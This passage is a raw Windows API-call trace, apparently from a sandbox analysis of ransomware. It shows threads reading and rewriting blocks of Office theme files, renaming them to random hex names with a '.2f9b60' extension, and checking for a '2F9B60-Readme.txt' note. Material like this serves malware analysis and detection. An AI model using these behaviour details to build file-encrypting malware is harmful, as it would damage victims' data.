RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b50) returned 1 [0111.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd971c0 [0111.301] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="25") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="25") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="59") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="89") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="74") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="a8") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="3a") returned 2 [0111.301] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="c9") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="3f") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="79") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="0d") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="6c") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="f1") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="e9") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="e6") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="0d") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="07") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="4e") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="d8") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="2e") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="e5") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="6b") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="67") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="54") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="73") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="cc") returned 2 [0111.302] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="45") returned 2 [0111.303] sprintf (in: _Dest=0x1cd971f8, _Format="%c%c" | out: _Dest="45") returned 2 [0111.303] sprintf (in: _Dest=0x1cd971fa, _Format="%c%c" | out: _Dest="2d") returned 2 [0111.303] sprintf (in: _Dest=0x1cd971fc, _Format="%c%c" | out: _Dest="f9") returned 2 [0111.303] sprintf (in: _Dest=0x1cd971fe, _Format="%c%c" | out: _Dest="b1") returned 2 [0111.303] RtlInitAnsiString (in: DestinationString=0x33d6fe08, SourceString="2525598974a83ac93f790d6cf1e9e60d074ed82ee56b2c675473cc45452df9b1" | out: DestinationString="2525598974a83ac93f790d6cf1e9e60d074ed82ee56b2c675473cc45452df9b1") [0111.303] RtlAnsiStringToUnicodeString (in: DestinationString=0x33d6fdd8, SourceString="2525598974a83ac93f790d6cf1e9e60d074ed82ee56b2c675473cc45452df9b1", AllocateDestinationString=1 | out: DestinationString="2525598974a83ac93f790d6cf1e9e60d074ed82ee56b2c675473cc45452df9b1") returned 0x0 [0111.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4ac30 [0111.303] wcscat (in: _Dest=0x20279a30, _Source="2525598974a83ac9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2525598974a83ac9") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2525598974a83ac9" [0111.303] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2525598974a83ac9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2525598974a83ac9.2f9b60" [0111.303] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2525598974a83ac9.2f9b60", NtPathName=0x33d6fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2525598974a83ac9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776af0 [0111.303] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33d6fe50, FileInformation=0x1b776af0, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0111.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.305] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x33d6fe18, FileInformation=0x33d6fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33d6fe18, FileInformation=0x33d6fe28) returned 0x0 [0111.305] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33d6fe18, FileInformation=0x33d6fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ac30) returned 1 [0111.308] FlushFileBuffers (hFile=0xe04) returned 1 [0111.317] CloseHandle (hObject=0xe04) returned 1 [0111.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.319] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.319] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65760) returned 1 Thread: id = 1075 os_tid = 0x1788 [0111.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0111.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx", dwFileAttributes=0x20) returned 1 [0111.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.346] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x33f3f6a0 | out: lpFileSize=0x33f3f6a0*=228746) returned 1 [0111.346] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x37d86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.346] ReadFile (in: hFile=0x160c, lpBuffer=0x33f3f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33f3f668, lpOverlapped=0x0 | out: lpBuffer=0x33f3f620*, lpNumberOfBytesRead=0x33f3f668*=0x4, lpOverlapped=0x0) returned 1 [0111.348] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.348] NtQuerySystemTime (in: CurrentTime=0x33f3f560 | out: CurrentTime=0x33f3f560*=132462177168202000) returned 0x0 [0111.348] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x756b849f [0111.348] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0xbdd5101 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x337384fa [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x26480a58 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x1f2120d3 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x187f85e6 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x6eac0441 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x36a54716 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x4d1c1c9b [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x41a895e [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x1384409f [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x16bd5b55 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x1657b52 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x79290b0f [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x11375fe4 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x22801ef3 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x6a1ca65b [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x1daab043 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x47a79bc9 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x4a1560b7 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x64476345 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x23622309 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x7c7c2a35 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x782a6691 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x1d4f67e8 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x7e4c7d0f [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x1e9f34a4 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x53e9f27f [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x7cf6d15e [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x7c60ab79 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x600c8575 [0111.349] RtlRandomEx (in: Seed=0x33f3f550 | out: Seed=0x33f3f550) returned 0x554beba9 [0111.358] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.358] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33f3f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33f3f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.363] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ca0) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0111.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.364] WriteFile (in: hFile=0x160c, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33f3f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x33f3f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.379] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.379] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33f3f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33f3f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.381] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0111.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.383] WriteFile (in: hFile=0x160c, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33f3f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x33f3f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.389] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x3418a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.389] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33f3f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33f3f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.397] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x3418a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.397] WriteFile (in: hFile=0x160c, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33f3f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x33f3f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9860 [0111.401] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.401] WriteFile (in: hFile=0x160c, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x33f3f670, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x33f3f670*=0x146, lpOverlapped=0x0) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0111.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0111.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f070 [0111.403] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="cf") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="13") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="29") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="7e") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="0a") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="81") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="7b") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="9a") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="2f") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="06") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="15") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="85") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="8c") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="f3") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="39") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="92") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="6a") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="05") returned 2 [0111.403] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="7f") returned 2 [0111.403] RtlInitAnsiString (in: DestinationString=0x33f3f6e8, SourceString="cf13297e0a817b9a2f0615858cf339922c6a057f" | out: DestinationString="cf13297e0a817b9a2f0615858cf339922c6a057f") [0111.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x33f3f6b8, SourceString="cf13297e0a817b9a2f0615858cf339922c6a057f", AllocateDestinationString=1 | out: DestinationString="cf13297e0a817b9a2f0615858cf339922c6a057f") returned 0x0 [0111.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceb80 [0111.404] wcscat (in: _Dest=0x20279a30, _Source="cf13297e0a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\cf13297e0a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\cf13297e0a" [0111.404] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\cf13297e0a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\cf13297e0a.2f9b60" [0111.404] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\cf13297e0a.2f9b60", NtPathName=0x33f3f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\cf13297e0a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119720 [0111.404] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x33f3f730, FileInformation=0x119720, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0111.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.405] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x33f3f6f8, FileInformation=0x33f3f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33f3f6f8, FileInformation=0x33f3f708) returned 0x0 [0111.405] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x33f3f6f8, FileInformation=0x33f3f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 [0111.407] FlushFileBuffers (hFile=0x160c) returned 1 [0111.410] CloseHandle (hObject=0x160c) returned 1 [0111.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.429] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.429] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd656b0) returned 1 Thread: id = 1076 os_tid = 0x1784 [0111.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0111.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx", dwFileAttributes=0x20) returned 1 [0111.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.361] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x33e9fa80 | out: lpFileSize=0x33e9fa80*=40941) returned 1 [0111.361] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x9fe9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.361] ReadFile (in: hFile=0xe04, lpBuffer=0x33e9fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33e9fa48, 